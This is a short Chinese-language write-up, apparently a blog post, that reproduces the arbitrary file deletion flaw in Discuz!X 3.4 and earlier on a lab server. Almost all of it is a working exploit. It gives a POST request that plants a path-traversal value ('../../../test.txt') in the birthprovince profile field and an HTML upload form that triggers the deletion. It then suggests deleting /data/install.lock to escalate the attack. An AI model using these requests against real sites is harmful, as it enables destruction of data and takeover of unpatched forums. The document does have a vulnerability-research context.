【漏洞分析】Discuz!X ≤3.4 任意文件删除漏洞分析
复现的话需要源码在网上还是找到了
那我们根据文章所知的几个步骤:
1.修改出生地为文件相对路径
发送POST请求:/home.php?mod=spacecp&ac=profile&op=base
POST正文为:birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
formhash为用户自己的,所以这里在网页上找一个对应填写过来就OK:
请求完成之后出生地会修改为../../../test.txt
2.上传文件
这里构造了一个上传表单:
<form action="http://192.168.0.10/dz3.4/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file"/>Formhash: <input type="text" name="formhash"/>
<input type="hidden" name="profilesubmit" value="1"/>
<input type="submit" value="Submit"/>
</from>
发送过去后发现成功删除了:
漏洞复现成功,那在这里呢我们思考一下能否进行扩大化危害的测试?于是想到了删除安装程序锁(/data/install.lock)
复现上文步骤删除它即可